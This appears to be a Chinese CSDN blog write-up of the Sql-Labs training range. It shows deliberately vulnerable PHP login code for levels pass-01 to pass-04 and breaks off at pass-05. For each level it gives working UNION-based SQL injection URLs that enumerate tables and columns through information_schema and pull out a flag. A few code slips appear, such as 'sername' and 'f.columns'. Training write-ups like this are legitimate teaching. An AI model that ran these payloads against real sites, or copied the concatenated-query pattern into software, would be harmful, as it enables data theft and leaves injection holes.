【封神台】Sql-Labs wp

本文详细介绍了在Sql-Labs靶场中从pass-01到pass-17的各种SQL注入技巧,包括显错注入、联合查询、报错注入、时间盲注等,通过实例演示如何判断字段数量、解码ASCII码获取数据,以及如何应对各种过滤和编码。同时,文章结尾提供了作者的个人博客链接。
摘要由CSDN通过智能技术生成

前言

  • 掌控安全里面的靶场Sql-Labs,练练手!
  • 环境:http://inject2.lab.aqlab.cn:81/

pass-01

$username = '';
$password = '';
@$id = $_GET['id'];
@$sql = 'select *from user where id='.$id;
mysqli_select_db($conn,'****');// 不想让你们知道库名
$result = mysqli_query($conn,$sql);
while ($row = mysqli_fetch_array($result)){
     
$username = $row['username'];
$password = $row['password'];
}
echo 'Your Login name:'.$username;
echo 'Your Password:'.$password;
  • 显错注入、先判断多少个字段

image-20210725131955354

image-20210725132104676

  • 查表拓展: 1 and exists(select * from user)这种形式可以猜解表是否存在
http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1 union all select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database();

image-20210725132232796

  • 查flag表中字段
http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1 union all select 1,2,group_concat(column_name) from f.columns where table_schema=database() and table_name=0x6572726f725f666c6167; 
//0x6572726f725f666c6167是error_flag的十六进制

image-20210725132608204

  • 拿flag //后面就不截图了
http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1 union all select 1,2,flag from error_flag;

image-20210725132743133

pass-02

$username = '';
$password = '';
@$id = $_GET['id'];
@$sql = 'select *from user where id='\''.$id.'\'';
mysqli_select_db($conn,'****');// 不想让你们知道库名
$result = mysqli_query($conn,$sql);
while ($row = mysqli_fetch_array($result)){
     
$username = $row['username'];
$password = $row['password'];
}
echo 'Your Login name:'.$username;
echo 'Your Password:'.$password;
  • 给id传参加了个单引号,和上题一样的做法差不多,就是1后面加个’来闭合源代码中的单引号,再加个#号url编码也就是%23注释掉后面的单引号,也就可以联合查询了
http://inject2.lab.aqlab.cn:81/Pass-02/index.php?id=1' union all select 1,2,flag from error_flag %23;

image-20210725133156333

pass-03

sername = '';
$password = '';
@$id = $_GET['id'];
@$sql = 'select *from user where id='(\''.$id.'\')';
mysqli_select_db($conn,'****');// 不想让你们知道库名
$result = mysqli_query($conn,$sql);
while ($row = mysqli_fetch_array($result)){
     
$username = $row['username'];
$password = $row['password'];
}
echo 'Your Login name:'.$username;
echo 'Your Password:'.$password;

  • 上题id是’id’这题是加了个括号(‘id’),不过意思不变,同样是进行构造’)在1后面然后利用注释符#来绕过也就是%23
http://inject2.lab.aqlab.cn:81/Pass-03/index.php?id=1') union all select 1,2,flag from error_flag %23;

image-20210725134152613

pass-04

$username = '';
$password = '';
@$id = $_GET['id'];
@$sql = 'select *from user where id=("'.$id.'")';
mysqli_select_db($conn,'****');// 不想让你们知道库名
$result = mysqli_query($conn,$sql);
while ($row = mysqli_fetch_array($result)){
     
$username = $row['username'];
$password = $row['password'];
}
echo 'Your Login name:'.$username;
echo 'Your Password:'.$password;
  • 单引号变双引号
http://inject2.lab.aqlab.cn:81/Pass-04/index.php?id=1") union all select 1,2,flag from error_flag %23;

image-20210725134258334

pass-05

$username = $_POST['username'];
$password = $_POST['password'];
$sql
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
对于安装 SQL-Labs,您可以按照以下步骤进行操作: 1. 首先,您需要确保您的系统上已经安装了 LAMP 或者 WAMP 等 Web 服务器环境,以及 MySQL 数据库。 2. 下载 SQL-Labs 的源代码。您可以从 GitHub 上的项目页面(https://github.com/Audi-1/sqli-labs)下载最新的 ZIP 文件,并将其解压缩到您的 Web 服务器的文档根目录中。 3. 在 MySQL 数据库中创建一个新的数据库,用于存储 SQL-Labs 的数据。您可以使用以下命令在 MySQL 命令行中创建一个新数据库: ``` CREATE DATABASE sqli; ``` 4. 导入 SQL-Labs 的数据库结构。进入到您解压缩的 SQL-Labs 文件夹中,找到 `db-structure.sql` 文件,并使用以下命令导入数据库结构: ``` mysql -u your_username -p sqli < db-structure.sql ``` 替换 `your_username` 为您的 MySQL 用户名,并输入密码进行验证。 5. 配置 SQL-Labs。进入 SQL-Labs 文件夹中的 `db.php` 文件,按照注释中的提示修改数据库连接信息,包括主机名、用户名、密码和数据库名称。 ``` $host = 'localhost'; $user = 'your_username'; $password = 'your_password'; $db = 'sqli'; ``` 6. 启动 Web 服务器,并在浏览器中访问 SQL-Labs。在浏览器中输入 `http://localhost/sql-labs/`,您应该能够看到 SQL-Labs 的登录页面。 现在,您已经成功安装并配置了 SQL-Labs。请确保仔细阅读项目的文档,了解如何正确使用和利用 SQL-Labs 的功能。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

孤桜懶契

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值